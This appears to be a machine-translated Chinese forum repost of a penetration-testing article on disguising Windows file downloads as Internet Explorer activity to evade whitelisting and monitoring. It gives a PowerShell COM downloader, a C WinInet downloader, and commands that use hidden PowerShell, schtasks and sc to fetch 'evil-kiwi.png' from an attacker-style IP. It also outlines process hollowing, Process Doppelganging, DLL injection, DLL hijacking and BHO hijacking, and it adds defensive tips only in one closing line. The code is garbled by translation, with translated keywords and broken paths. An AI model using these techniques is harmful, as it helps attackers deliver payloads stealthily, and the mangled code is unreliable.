Xiao7 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 在之前的文章《渗透技巧——从github下载文件的多种方法》中介绍了几种通过cmd从github下载文件的方法,选择了最短的实现代码(长度25)。 本文将从另一个角度介绍在Windows系统下模拟IE浏览器下载文件的方法。 模拟IE浏览器下载文件,不仅可以绕过白名单程序的拦截,还可以在一定程度上隐藏下载行为。因此,本文将从利用的角度介绍具体的利用方法,并结合利用方法总结防御思路。 0x01 简介 本文将介绍以下内容: 模拟IE浏览器下载文件的几种方法 分析优势和劣势 总结辩护思路 0x02 实现方法 由于方法很多,本文做了一个简单的分类,整体分为主动和被动两种模式。 主动模式代表通过命令主动下载文件,被动模式代表劫持用户的行为,在用户打开IE时实现文件下载。 其中,主动模式也要通过当前后台进程是否有IE浏览器进程iexplore.exe来区分。 具体方法如下: 1、主动模式 (1) 后台无IE进程 a) 调用IE COM对象 参考链接: https://adapt-and-attack . com/2017/12/19/internet explorer-application-for-C2/ 该文件通过COM对象InternetExplorer下载。应用程序,后台进程是iexplore.exe。 Powershell代码如下: $ ie _ com=New-Object-com Object internet explorer。应用 $ie_com。Silent=$True $ie_com。Visible=$False $Headers='Host: $ie_com。navigate 2(' http://192 . 168 . 62 . 131/index . html ',14,0,$Null,$Headers) while($ie_com.busy -eq $true) { 启动-睡眠-毫秒100 } $html=$ie_com.document.GetType()。InvokeMember('body ',[System。reflection . binding flags]:GetProperty,$Null,$ie_com.document,$Null)。InnerHtml $html $ie_com。quit(); 注: 如果IE从来没有运行过,执行上面的代码会提示一个框。 Powershell代码引自https://gist . github . com/leoleooobeek/f 468d 34 e 81795239 a 8 f 8 BAC 03646 cf 59,其中还包含了cs、js和vbs的实现方法。 b) Process Hollowing 参考文章: 《傀儡进程的实现与检测》 创建一个傀儡进程iexplore.exe,传入参数CREATE_SUSPENDED来挂起进程,清除iexplore.exe进程的内存数据,申请新内存,写净荷,恢复注册环境,下载文件。 C实现的文件下载代码如下: #包括 #包括 #包括 #定义MAXBLOCKSIZE 1024 #pragma注释(lib,' wininet . lib '); 无效下载(const char *Url,const char *save_as) { byte Temp[MAXBLOCKSIZE]; ULONG数=1; 文件*流; HINTERNET h session=INTERNET OPEN((LPCSTR)'菜鸟/1.0 ',INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); if (hSession!=空) { HINTERNET handle 2=INTERNET openurl(h session,(LPCSTR)Url,NULL,0,INTERNET_FLAG_DONT_CACHE,0); if (handle2!=空) { fopen_s(stream,save_as,' WB '); while(数字0) { InternetReadFile(handle2,Temp,MAXBLOCKSIZE - 1,Number); fwrite(Temp,sizeof (char),Number,stream); } fclose(流); InternetCloseHandle(handle 2); handle2=NULL } InternetCloseHandle(h session); hSession=NULL } } int main(int argc,char* argv[]){ 下载(' https://github . com/3g student/test/raw/master/putty . exe ',' c:\ \ test \ \ putty . exe '); 返回0; } 打开防火墙监控,下载过程是Internet Explorer,完整测试如下 c) Process Doppelganging 参考文章: 《Process-Doppelganging利用介绍》 原理类似于进程镂空,实现思路是打开一个普通文件,创建事务;在这个事务中填充有效载荷,有效载荷作为一个进程启动;回滚事务 注意,进程Doppelganging需要写入普通文件。如果您使用的是iexplore.exe,您需要获得受信任的安装程序权限。有关获取可信安装程序权限的方法,请参考文章: 《渗透技巧——Token窃取与利用》 d) 隐蔽启动IE,访问特定网址,通过缓存获得下载的文件 第一种思维方式: 启动CMDIE,访问URL,通过缓存获取下载的文件。 启动' C:\ Program Files \ Internet Explorer \ ie xplore . exe ' http://192 . 168 . 62 . 131/evil-kiwi . png 注: 这种方式会打开IE界面,但是可以被API ShowWindowAsync隐藏。powershell实现脚本: https://github . com/3g student/write up/blob/master/hidden process . PS1 第二种思维方式: 通过powershell偷偷启动IE,访问网站,通过缓存获取下载的文件。 powershell-execution policy bypass-Command ' Start-Process-file path ' C:\ Program Files \ Internet Explorer \ ie xplore . exe '-argument list http://192 . 168 . 62 . 131/evil-kiwi . png-window style Hidden ' 以上两个想法通过IE访问URL后,缓存文件会保存在以下位置: win 7:% local appdata % \ Microsoft \ Windows \ Internet临时文件 Win8、win 10:% local appdata % \ Microsoft \ Windows \ INetCache \ IE 您可以使用通配符来获取不同系统中缓存文件的路径。该命令如下所示: dir %LOCALAPPDATA%\*evil-kiwi*。巴布亚新几内亚/南苏丹 以上两种思路都会在IE浏览器中留下历史记录,历史记录对应的路径是:% local appdata % \ Microsoft \ windows \ history \ 此方法的父进程是powershell.exe,但它可以通过令牌复制来更改(例如,SelectMyParent,Invoke-TokenManipulation.ps1) 第三种思维方式: 使用预定任务启动IE,访问网站,通过缓存获取下载的文件(需要管理员权限) 命令1: 6:34 ' C:\ Program Files \ Internet Explorer \ ie xplore . exe ' http://192 . 168 . 62 . 131/evil-kiwi . png 命令2: schtasks/create/RU SYSTEM/RP ' '/SC ONCE/TN test1/TR ' C:\ Program Files \ Internet Explorer \ ie xplore . exe http://192 . 168 . 62 . 131/evil-kiwi . png '/ST 06:34/F 因为预定任务的权限是system,所以启动的IE浏览器界面无法在用户桌面查看,缓存位置也不一样。常见路径是% windir % \ system32 \ config \ system profile \ appdata \ local \ Microsoft \ windows \ 您可以使用通配符来获取不同系统中缓存文件的路径。该命令如下所示: dir %windir%\*evil-kiwi*。巴布亚新几内亚/南苏丹 所以预定任务打开的IE浏览器是没有历史的,父进程是svchost.exe。 第四种思维方式: 创建一个服务启动IE,访问URL,通过缓存获取下载的文件。 sc create Test1 type=own binpath=' C:\ Program Files \ Internet Explorer \ ie xplore . exe ' sc开始测试1 对于以这种方式启动的服务,调用程序需要能够与SCM(服务控制管理器)进行交互,但iexplorer.exe不支持此功能。 服务可以通过其他方式创建。 注: 在你启动隐藏的IE,访问一个特定的URL,通过缓存获取下载的文件后,你需要手动结束IE进程。 e) 隐蔽启动ie,进行DLL注入(APC、Atombombing) 隐藏的IE启动后,IE进程被注入dll,dll实现下载文件的功能。 APC注入的代码可以参考: https://github.com/3gstudent/Inject-dll-by-APC Atombombing可以理解为APC注入的升级版。请参考文章: 《AtomBombing利用分析》 (2) 后台有IE进程 a) DLL注入(APC、Atombombing) 方法同上,此处不再赘述。 2、被动模式 a) DLL劫持 这里只举一个例子:c:\ program files \ internet explorer \ ieshims.dll。 IE浏览器打开时会加载dll DLL开发思路: 您可以使用exportstoc工具下载地址: https://github.com/michaellandi/exportstoc 生成方法可以参考文章: https://3g student . github . io/Study-Notes-Weekly-no . 1(Monitor-WMI _ ExportsToC _ Use-disk clean up-bypass-UAC) 原dll是保留的,启动时需要互斥,避免多次启动。 b) BHO 使用BHO(浏览器助手对象)劫持IE浏览器,并在浏览器页面打开时下载文件。请参考文章: 《利用BHO实现IE浏览器劫持》 0x03 小结 总结一下,模拟IE浏览器下载文件的实现方法如下: (1)主动模式 后台目前没有IE进程: 调用IE COM对象 过程空洞化 过程二重性 启动隐藏的IE,访问特定的URL,通过缓存获取下载的文件。 由cmd开始 按服务启动 创建服务启动 隐藏IE并执行DLL注入(APC,Atombombing) 后台目前有IE进程: DLL注入(APC,Atombombing) (2)被动模式 DLL劫持 BHO 从防御的角度来说,要注意iexplore.exe的父进程是否可疑,以不应对主动模式。针对DLL注入和DLL劫持,可以监控敏感API的调用;对于BHO对象,可以监视特定的注册表。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子